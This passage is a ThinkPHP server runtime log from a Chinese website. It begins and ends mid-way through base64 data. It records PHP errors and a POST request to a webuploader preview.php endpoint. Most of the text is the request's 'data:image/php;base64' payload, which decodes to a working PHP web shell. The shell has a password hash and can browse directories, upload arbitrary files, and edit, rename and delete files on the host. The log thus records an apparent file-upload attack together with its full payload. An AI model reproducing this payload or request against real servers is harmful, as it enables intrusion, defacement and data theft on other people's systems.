CAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:29:29+08:00 ] 119.42.146.234 POST 51tianwei.com/plugins/webuploader/0.1.15/server/preview.php [运行时间:0.002633s] [吞吐率:379.78req/s] [内存消耗:196.66kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'plugins', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzO